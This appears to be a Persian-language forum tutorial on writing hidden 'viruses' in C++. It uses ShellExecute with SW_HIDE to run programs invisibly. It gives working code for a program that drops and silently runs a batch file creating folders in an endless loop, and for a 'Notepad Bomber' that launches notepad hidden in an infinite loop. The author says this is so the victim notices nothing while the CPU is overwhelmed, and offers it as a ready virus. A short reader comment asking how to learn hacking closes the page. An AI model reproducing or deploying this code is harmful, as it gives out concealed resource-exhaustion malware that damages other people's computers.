همونطور که میدونین وقتی یه بچ فایلی رو اجرا میکنیم ، یه صفحه سیاه رنگ ظاهر میشه و کدهای ما اجرا میشه که اگه ما ویروس نوشته باشیم ، اونموقع ویروسمون خیلی سریع لو میره :(
در نتیجه باید هر طور که شده اونو مخفیش کنیم
توی این پست قراره به کمک زبان سی پلاس پلاس همچین کاریو انجام بدیم که برناممون بیاد بچ فایل مارو بسازه و اونو بصورت مخفی اجرا کنه
یا اینکه اصلا فایل Bat خودمون رو کنار برنامه قرار بدیم و دستور اجرا شدن مخفی اون رو بدیم
نکته مهم اینکه ما میتونیم به جای اجرای مخفی کدهای Bat
هر برنامه ی دیگه ای رو بصورت مخفی توی بک گراند اجرا کنیم
مثلا میتونیم ویروس Notepad Bomber بنویسیم که کداشو ViRus32 توی این پست که مربوط به ویروس نویسی بود گفته بود
اما با این تفاوت که برنامه ی نوت پد ما بصورت مخفی اجرا بشه و کاربر بویی از چیزی نبره و سی پی یوش کم کم از شدت فشار از کار بیفته :(
خب دیگه زیادی خستتون نمیکنم و کدهارو میگم و والسلام :)
تکه کد پایین قراره کار مارو راه بندازه و برنامه ی مارو بصورت مخفی اجرا کنه
#include <windows.h>
int main() { ShellExecute(NULL, "open", "Path\\FileName", NULL, NULL, SW_HIDE); }
خب حالا از کد بالا استفاده میکنیم برای کارای دیگه ، مثلا کاری میکنیم که برنامه ی ما بیاد و یه بچ فایل تو دسکتاپ بسازه که بچ فایل ما بیاد و کاری کنه که یه پوشه با اسم ViRus32 تو دسکتاپ ساخته شه و پوشه هایی با اسم های تصادفی توی اون بسازه که اجرا شدن فایل ویروس بصورت مخفی هستش ، در نتیجه کد Bat ما به شکل پایین میشه :
MkDir C:\Users\Your_Username\Desktop\ViRus32
Cd C:\Users\%UserName%\Desktop\ViRus32
:Start
MkDir %Random%
Goto Start
که اگه بخوایم توی سی پلاس پلاس اینو بنویسیم و دستور بدیم که اول از همه فایل ویروس رو بسازه و بعدا دستور اجرا شدنش رو بصورت مخفی بده ، میشه به شکل زیر :
#include <windows.h>
#include <fstream>
using namespace std;
int main()
{
ofstream path("C:\\Users\\Your_Username\\Folder_Maker.bat", ios::out);
path << "MkDir C:\\Users\\Your_Username\\Desktop\\ViRus32\nCd C:\\Users\\Your_Username\\Desktop\\ViRus32\n:Start\nMkDir %Random%\nGoto Start" << endl;
path.close();
ShellExecute(NULL, "open", "C:\\Users\\Your_Username\\Folder_Maker.bat", NULL, NULL, SW_HIDE);
}
نکته : تو کد بالا باید یه خرده تغییر ایجاد کنین وگرنه باید نام کاربری خودتون رو جای Your_Username وارد کنین ... که برای فهمیدن اون یه ذره تغییر هم میتونین مراجعه کنین به کد قبلیش
کدای بالا یه سه چارتایی نکته دیگه داره که خودتون پیداش کنین دیگه ;d حس گفتنش نیس
ضمنا بعد از اجرای کدهایی که بالاتر گفته شد بهتره که وارد تسک منیجر بشین و خط فرمان رو ببندین وگرنه اگه ابزار کد نویسی یا ...تون رو ببندینش اتفاقی نمیفته و پروسه ی ساخت پوشه همچنان ادامه خواهد داشت تا زمانی که سیستمتون ری استارت بشه
چون ما دستور اجرا شدن یه پروسس رو بصورت مخفی دادیم
در آخر هم میخوایم ویروس نوت پد بمبر رو بنویسیم که نوت پد رو بصورت متداول مخفی اجرا کنه
البته شما بهتره که از کد پایین استفاده کنین تا نوت پد رو ده بار بصورت مخفی اجرا کنه که بتونین از داخل تسک منیجر اونارو ببندینش و سیستمتون زیاد نره زیر هنگ
#include <windows.h>
int main()
{
for(int i=0;i<=10;i++)
{
ShellExecute(NULL, "open", "notepad.exe", NULL, NULL, SW_HIDE);
}
}
اما اگه میخواین به عنوان یه ویروس آماده استفاده کنین ، میتونین کدها رو داخل حلقه ی نامحدود قرار بدین که کدامون به شکل پایین در میاد که بهتره روی سیستمتون اجرا نشه :)
#include <windows.h>
int main()
{
while(true)
{
ShellExecute(NULL, "open", "notepad.exe", NULL, NULL, SW_HIDE);
}
}
موفق باشید
یه سوال داشتم ممنون میشم جواب بدی
دارم برنامه نویسی یاد میگیرم میشه لطف کنی یه مسیر واسه یادگیری زبان های برنامه نویسی بهم نشون بدی؟!
html-css-php که هیچی...
از اینجا به بعد باید چی یاد بگیرم؟!
میخوام برم سمت هک و امنیت و این حرف ها...
باتشکر